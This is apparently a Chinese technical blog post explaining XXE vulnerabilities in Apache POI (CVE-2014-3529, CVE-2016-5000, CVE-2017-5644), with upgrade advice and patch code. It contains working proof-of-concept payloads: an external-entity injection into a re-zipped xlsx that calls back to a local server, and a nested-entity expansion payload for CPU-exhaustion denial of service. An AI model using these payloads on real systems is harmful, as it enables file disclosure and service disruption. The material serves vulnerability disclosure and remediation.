Apache POI XML外部实体(XML External Entity,XXE)攻击详解

最近安全扫描扫出一些版本的 POI 存在 XEE 漏洞。总结一下XXE的相关知识和漏洞攻击解析。

一、背景知识

想要知道 XXE 是什么,我们首先需要了解一下 XML 的相关知识。

1、XML基础知识

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
DTD的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
DTD文档有三种应用形式:

  1. 内部DTD文档

    <!DOCTYPE 根元素[定义内容]>
    
  2. 外部DTD文档

    <!DOCTYPE 根元素 SYSTEM "DTD文件路径">
    
  3. 内外部DTD文档结合

    <!DOCTYPE 根元素 SYSTEM "DTD文档路径"[定义内容]>
    

其中第二三种类型中的SYSTEM是一种标识符,可以理解为:根据DTD资源路径,加载这个外部资源的内容,并赋值给前面的根元素,该标识符意味着该实体将从外部来源获取内容。这就给了攻击者一个攻击的可能。

2、 XXE漏洞原理

XML外部实体(XML External Entity,XXE)攻击是一种常见的Web安全漏洞,攻击者可以通过XML的外部实体获取服务器中本应被保护的数据。

XML解析器解析外部实体时支持多种协议:

libxml2 PHP Java .NET
file file file file
http http http http
ftp ftp ftp ftp
php https https
compress.zlib jar
data netdoc
glob mailto
phar gopher

如使用file协议可以读取本地文件内容、使用http协议可以获取Web资源等,因此攻击者可构造恶意的外部实体,当解析器解析了包含“恶意”外部实体的XML类型文件时,便会导致被XXE攻击。

另外,一般来说,服务器解析XML有两种方式,一种是一次性将整个XML加载进内存中,进行解析;另一种是一部分一部分的、“流式”地加载、解析。如果我们递归地调用XML定义,一次性调用巨量的定义,那么服务器的内存就会被消耗完,造成了拒绝服务攻击(Dos)。

3、Apache POI

Apache POI 是 Apache 软件基金会的开源项目,POI 提供 API 接口给 Java 程序对 Microsoft office 格式文档读写能力。

Microsoft Office从2007版本引入了新的开放的XML文件格式,新的XML文件格式基于压缩的ZIP文件格式规范,由许多部分组成。我们可以将其解压缩到特定的文件夹中来查看其包含的文件夹和文件,可以发现其中多数是描述工作簿数据、元数据、文档信息的XML文件。所以不正确的读取07格式的Microsoft office 格式文件也存在着 XXE 攻击的可能性。

二、漏洞

1、CVE-2014-3529

Apache POI 3.10-FINAL及以前版本被发现允许远程攻击者通过注入XML外部实体访问外部实体资源或者读取任意文件。

1. 漏洞编号

CVE-2014-3529

2. 影响范围

poi-ooxml-3.10-FINAL.jar及以下版本

3. 利用文件

[Content-Types].xml

4. 漏洞利用

示例漏洞利用,是检测注入XML外部实体是否可以访问外部实体。

  1. 新建 xxe.xlsx 文件进行解压缩:

    unzip ../xxe.xlsx
    

    得到以下文件:

    .
    ├── [Content_Types].xml
    ├── [trash]
    │   └── 0000.dat
    ├── _rels
    ├── docProps
    │   ├── app.xml
    │   └── core.xml
    └── xl
        ├── _rels
        │   └── workbook.xml.rels
        ├── styles.xml
        ├── theme
        │   └── theme1.xml
        ├── workbook.xml
        └── worksheets
            └── sheet1.xml
    
  2. 使用文本编辑器打开[Content-Types].xml注入外部实体,在第二行插入实体:

    <!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://localhost:3000/ack"> ]>
    <x>&xxe;</x>
    

    上面的 http://localhost:3000/ack 为本地的测试服务器,如果漏洞触发,本地服务器将接收到ack的访问记录,即复现漏洞。

  3. 将上述文件重新压缩成 xlsx。

    zip -r xxe.xlsx *
    

    xxe.xlsx

  4. 测试代码使用 maven 工程,引入 poi-ooxml-3.10,运行测试程序:

    public class XXETest {
        public static void main(String[] args) {
                new XSSFWorkbook(new FileInputStream(new File("path/to/xxe.xlsx")));
        }
    }
    

    运行结果虽然有报错,但是本地服务器接收到了 ack 请求,漏洞利用成功。

5. 漏洞分析

poi-ooxml 包里 org.apache.poi.openxml4j.opc.internal.ContentTypeManager#parseContentTypesFile 中读取 [Content-Types].xml 时没有进行 XXE 防护。

6. 修复方案

升级 poi-ooxml.jar 到 3.11 或以上版本。

原理是通过读取的时候使用新工具类的方法进行读取org.apache.poi.util.DocumentHelper#readDocument(java.io.InputStream) 进行 XXE 防护。

2、CVE-2016-5000

这个漏洞主要是 POI 官方示例中的 XLSX2CSV 示例不正确读取 xlsx 触发的 xxe。这里不再复现。

修复方案

升级 poi-ooxml.jar 到 3.14 或以上版本。

3、CVE-2017-5644

1. 漏洞编号

CVE-2017-5644

2. 影响范围

poi-ooxml-3.15.jar 及以下版本。

3. 利用文件

xl/workbook.xml

4. 漏洞利用

其他步骤同CVE-2014-3529中的方式,这次是在 xl/workbook.xml 中注入实体:

<!DOCTYPE x [     
    <!ENTITY e1 "">
    <!ENTITY e2 "&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;">
    <!ENTITY e3 "&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;">
    <!ENTITY e4 "&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;">
    <!ENTITY e5 "&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;">
    <!ENTITY e6 "&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;">
    <!ENTITY e7 "&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;">
    <!ENTITY e8 "&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;">
    <!ENTITY e9 "&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;">
    <!ENTITY e10 "&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;">
    <!ENTITY e11 "&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;">
]>
<x>&e11;</x>

<x>&e11;</x> 代码引用ENTITY e11,而 e11 由16 个 e10 组成,递归调用,循环次数达到 16^10 的规模。循环大量的实体引用,会消耗大量的CPU资源,长时间显示占用近100%。

5. 漏洞分析

POIXMLTypeLoader 中,解析xml的时候直接读取xml,没有对实体的数量进行限制。3.11 对 POIXMLTypeLoader 中的实体大小进行了限制 ,最大为4096,但是当实体为空的时候(如上例),还是可以构造空实体,形成大量循环,占用 cpu 资源,造成拒绝服务攻击。

6.修复方案

升级 poi-ooxml.jar3.14 或以上版本。

自行修复 POIXMLTypeLoader 中的相关代码段:

public static XmlObject parse(InputStream jiois, SchemaType type, XmlOptions options) throws XmlException, IOException {
    try {
        // 使用 DocumentHelper.readDocument 解析
        Document doc = DocumentHelper.readDocument(jiois);
        return XmlBeans.getContextTypeLoader().parse(doc.getDocumentElement(), type, getXmlOptions(options));
    } catch (SAXException e) {
        throw new IOException("Unable to parse xml bean", e);
    }
}

public static XmlObject parse(Reader jior, SchemaType type, XmlOptions options) throws XmlException, IOException {
    try {
        // 使用 DocumentHelper.readDocument 解析
        Document doc = DocumentHelper.readDocument(new InputSource(jior));
        return XmlBeans.getContextTypeLoader().parse(doc.getDocumentElement(), type, getXmlOptions(options));
    } catch (SAXException e) {
        throw new XmlException("Unable to parse xml bean", e);
    }
}

三、参考文献

  1. CVE-2014-3529
  2. IBM X-Force Exchange CVE-2014-3529
  3. CVE-2016-5000
  4. IBM X-Force Exchange CVE-2016-5000
  5. CVE-2017-5644
  6. IBM X-Force Exchange CVE-2017-5644
  7. JAVA常见的XXE漏洞写法和防御
  8. 十分钟带你了解XXE